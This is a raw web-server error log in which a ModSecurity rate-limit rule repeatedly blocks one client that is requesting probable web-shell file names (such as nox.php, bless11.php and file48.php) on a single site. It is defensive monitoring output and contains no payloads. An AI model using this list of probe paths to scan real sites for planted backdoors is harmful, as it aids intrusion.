[Sat Jan 03 03:39:31.509584 2026] [:error] [pid 1931:tid 2031] [client 4.194.208.111:10120] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aVge8x8Tyw7ZoIdXlcbebQAAAIc"]
[Sat Jan 03 03:39:31.753469 2026] [:error] [pid 1931:tid 2041] [client 4.194.208.111:10060] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aVge8x8Tyw7ZoIdXlcbebgAAAJE"]
[Sat Jan 03 03:39:32.271677 2026] [:error] [pid 2083:tid 2096] [client 4.194.208.111:10021] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aVge9DVlR_BmlMPnhV6gpgAAAMs"]
[Sat Jan 03 03:39:32.736270 2026] [:error] [pid 1929:tid 1940] [client 4.194.208.111:10015] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aVge9OcFqdpu6TNsuWq0yAAAAAI"]
[Sat Jan 03 03:39:33.206161 2026] [:error] [pid 34260:tid 34264] [client 4.194.208.111:10068] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aVge9UWWhyvZ0O9KNVRu_QAAAQI"]
[Sat Jan 03 03:39:33.635414 2026] [:error] [pid 1929:tid 1945] [client 4.194.208.111:9955] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aVge9ecFqdpu6TNsuWq0yQAAAAc"]
[Sat Jan 03 03:39:33.916179 2026] [:error] [pid 1930:tid 1973] [client 4.194.208.111:9995] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aVge9ZP-6mqhfUDa89y9sAAAAEc"]
[Sat Jan 03 03:39:34.193397 2026] [:error] [pid 1930:tid 1984] [client 4.194.208.111:9939] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "aVge9pP-6mqhfUDa89y9sQAAAFI"]
[Sat Jan 03 03:39:34.447384 2026] [:error] [pid 1929:tid 1941] [client 4.194.208.111:9872] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "aVge9ucFqdpu6TNsuWq0zAAAAAM"]
[Sat Jan 03 03:39:34.896784 2026] [:error] [pid 34260:tid 34276] [client 4.194.208.111:10059] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "aVge9kWWhyvZ0O9KNVRvAwAAAQ4"]
[Sat Jan 03 03:39:35.310797 2026] [:error] [pid 1929:tid 1939] [client 4.194.208.111:10157] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "aVge9-cFqdpu6TNsuWq0zQAAAAE"]
[Sat Jan 03 03:39:35.643586 2026] [:error] [pid 1931:tid 2036] [client 4.194.208.111:10171] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aVge9x8Tyw7ZoIdXlcbedAAAAIw"]
[Sat Jan 03 03:39:36.048379 2026] [:error] [pid 1931:tid 2034] [client 4.194.208.111:10030] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aVge-B8Tyw7ZoIdXlcbedQAAAIo"]
[Sat Jan 03 03:39:36.497640 2026] [:error] [pid 1931:tid 2038] [client 4.194.208.111:10016] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aVge-B8Tyw7ZoIdXlcbedwAAAI4"]
[Sat Jan 03 03:39:36.874628 2026] [:error] [pid 1931:tid 2047] [client 4.194.208.111:10004] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aVge-B8Tyw7ZoIdXlcbeegAAAJc"]
[Sat Jan 03 03:39:37.142970 2026] [:error] [pid 1931:tid 2043] [client 4.194.208.111:9927] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aVge-R8Tyw7ZoIdXlcbeewAAAJM"]
[Sat Jan 03 03:39:37.431853 2026] [:error] [pid 1931:tid 2042] [client 4.194.208.111:9869] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aVge-R8Tyw7ZoIdXlcbefAAAAJI"]
[Sat Jan 03 03:39:37.712488 2026] [:error] [pid 34260:tid 34273] [client 4.194.208.111:10141] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aVge-UWWhyvZ0O9KNVRvBAAAAQs"]
[Sat Jan 03 03:39:38.046868 2026] [:error] [pid 2083:tid 2086] [client 4.194.208.111:9926] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aVge-jVlR_BmlMPnhV6grAAAAME"]
[Sat Jan 03 03:39:38.443650 2026] [:error] [pid 1929:tid 1958] [client 4.194.208.111:10165] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "aVge-ucFqdpu6TNsuWq0zgAAABQ"]
[Sat Jan 03 03:39:38.630107 2026] [:error] [pid 1929:tid 1942] [client 4.194.208.111:10090] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "aVge-ucFqdpu6TNsuWq0zwAAAAQ"]
[Sat Jan 03 03:39:38.855430 2026] [:error] [pid 2083:tid 2097] [client 4.194.208.111:10226] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "aVge-jVlR_BmlMPnhV6grgAAAMw"]
[Sat Jan 03 03:39:39.196851 2026] [:error] [pid 1930:tid 1969] [client 4.194.208.111:10034] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "aVge-5P-6mqhfUDa89y9tgAAAEM"]
[Sat Jan 03 03:39:39.721867 2026] [:error] [pid 1929:tid 1950] [client 4.194.208.111:9956] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/la.php"] [unique_id "aVge--cFqdpu6TNsuWq00AAAAAw"]
[Sat Jan 03 03:39:39.940701 2026] [:error] [pid 1931:tid 2033] [client 4.194.208.111:10055] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/la.php"] [unique_id "aVge-x8Tyw7ZoIdXlcbegAAAAIk"]
[Sat Jan 03 03:39:40.271754 2026] [:error] [pid 1930:tid 1977] [client 4.194.208.111:9945] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/la.php"] [unique_id "aVge_JP-6mqhfUDa89y9twAAAEs"]
[Sat Jan 03 03:39:40.659841 2026] [:error] [pid 1929:tid 1959] [client 4.194.208.111:10007] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/la.php"] [unique_id "aVge_OcFqdpu6TNsuWq00QAAABU"]
[Sat Jan 03 03:39:40.874588 2026] [:error] [pid 1930:tid 1990] [client 4.194.208.111:10238] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aVge_JP-6mqhfUDa89y9uQAAAFg"]
[Sat Jan 03 03:39:41.103236 2026] [:error] [pid 34260:tid 34276] [client 4.194.208.111:10013] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aVge_UWWhyvZ0O9KNVRvCAAAAQ4"]
[Sat Jan 03 03:39:41.571592 2026] [:error] [pid 34260:tid 34263] [client 4.194.208.111:10235] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aVge_UWWhyvZ0O9KNVRvCgAAAQE"]
[Sat Jan 03 03:39:41.951339 2026] [:error] [pid 34260:tid 34279] [client 4.194.208.111:9867] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aVge_UWWhyvZ0O9KNVRvCwAAARE"]
[Sat Jan 03 03:39:42.346032 2026] [:error] [pid 1929:tid 1952] [client 4.194.208.111:9994] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccou.php"] [unique_id "aVge_ucFqdpu6TNsuWq00gAAAA4"]
[Sat Jan 03 03:39:42.544693 2026] [:error] [pid 1930:tid 1975] [client 4.194.208.111:9957] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccou.php"] [unique_id "aVge_pP-6mqhfUDa89y9uwAAAEk"]
[Sat Jan 03 03:39:42.744521 2026] [:error] [pid 1930:tid 1974] [client 4.194.208.111:9958] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccou.php"] [unique_id "aVge_pP-6mqhfUDa89y9vAAAAEg"]
[Sat Jan 03 03:39:43.043410 2026] [:error] [pid 1929:tid 1954] [client 4.194.208.111:10056] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccou.php"] [unique_id "aVge_-cFqdpu6TNsuWq01QAAABA"]
[Sat Jan 03 03:39:43.385049 2026] [:error] [pid 34260:tid 34273] [client 4.194.208.111:10038] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ton.php"] [unique_id "aVge_0WWhyvZ0O9KNVRvDgAAAQs"]
[Sat Jan 03 03:39:43.677893 2026] [:error] [pid 34260:tid 34278] [client 4.194.208.111:9973] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ton.php"] [unique_id "aVge_0WWhyvZ0O9KNVRvDwAAARA"]
[Sat Jan 03 03:39:44.125990 2026] [:error] [pid 1929:tid 1944] [client 4.194.208.111:10106] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ton.php"] [unique_id "aVgfAOcFqdpu6TNsuWq02AAAAAY"]
[Sat Jan 03 03:39:44.332341 2026] [:error] [pid 1929:tid 1949] [client 4.194.208.111:9940] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ton.php"] [unique_id "aVgfAOcFqdpu6TNsuWq02QAAAAs"]
[Sat Jan 03 03:39:44.756250 2026] [:error] [pid 1929:tid 1962] [client 4.194.208.111:10073] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aVgfAOcFqdpu6TNsuWq02gAAABg"]
[Sat Jan 03 03:39:45.076671 2026] [:error] [pid 1929:tid 1961] [client 4.194.208.111:9944] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aVgfAecFqdpu6TNsuWq03QAAABc"]
[Sat Jan 03 03:39:45.721504 2026] [:error] [pid 1930:tid 1988] [client 4.194.208.111:9941] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aVgfAZP-6mqhfUDa89y9vwAAAFY"]
[Sat Jan 03 03:39:46.301607 2026] [:error] [pid 1930:tid 1968] [client 4.194.208.111:9876] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aVgfApP-6mqhfUDa89y9wAAAAEI"]
[Sat Jan 03 03:39:46.602704 2026] [:error] [pid 1930:tid 1967] [client 4.194.208.111:9890] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aVgfApP-6mqhfUDa89y9wgAAAEE"]
[Sat Jan 03 03:39:46.948671 2026] [:error] [pid 1929:tid 1942] [client 4.194.208.111:9862] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aVgfAucFqdpu6TNsuWq05AAAAAQ"]
[Sat Jan 03 03:39:47.232039 2026] [:error] [pid 1931:tid 2048] [client 4.194.208.111:10047] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aVgfAx8Tyw7ZoIdXlcbeggAAAJg"]
[Sat Jan 03 03:39:47.680407 2026] [:error] [pid 1930:tid 1971] [client 4.194.208.111:9883] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aVgfA5P-6mqhfUDa89y9xQAAAEU"]
[Sat Jan 03 03:39:47.958177 2026] [:error] [pid 1931:tid 2029] [client 4.194.208.111:9930] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "aVgfAx8Tyw7ZoIdXlcbehAAAAIU"]
[Sat Jan 03 03:39:48.372091 2026] [:error] [pid 1929:tid 1956] [client 4.194.208.111:10087] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "aVgfBOcFqdpu6TNsuWq05wAAABI"]
[Sat Jan 03 03:39:48.631316 2026] [:error] [pid 1930:tid 1979] [client 4.194.208.111:9959] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "aVgfBJP-6mqhfUDa89y9xwAAAE0"]
[Sat Jan 03 03:39:48.893201 2026] [:error] [pid 1930:tid 1970] [client 4.194.208.111:9920] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "aVgfBJP-6mqhfUDa89y9yAAAAEQ"]
[Sat Jan 03 03:39:49.212407 2026] [:error] [pid 1929:tid 1949] [client 4.194.208.111:10040] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aVgfBecFqdpu6TNsuWq06wAAAAs"]
[Sat Jan 03 03:39:49.478641 2026] [:error] [pid 1929:tid 1951] [client 4.194.208.111:9963] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aVgfBecFqdpu6TNsuWq07AAAAA0"]
[Sat Jan 03 03:39:50.005231 2026] [:error] [pid 1930:tid 1987] [client 4.194.208.111:10043] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aVgfBpP-6mqhfUDa89y9zAAAAFU"]
[Sat Jan 03 03:39:50.446570 2026] [:error] [pid 1929:tid 1946] [client 4.194.208.111:10024] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aVgfBucFqdpu6TNsuWq07wAAAAg"]
[Sat Jan 03 03:39:50.668146 2026] [:error] [pid 1930:tid 1986] [client 4.194.208.111:9974] [client 4.194.208.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pop.php"] [unique_id "aVgfBpP-6mqhfUDa89y9zgAAAFQ"]
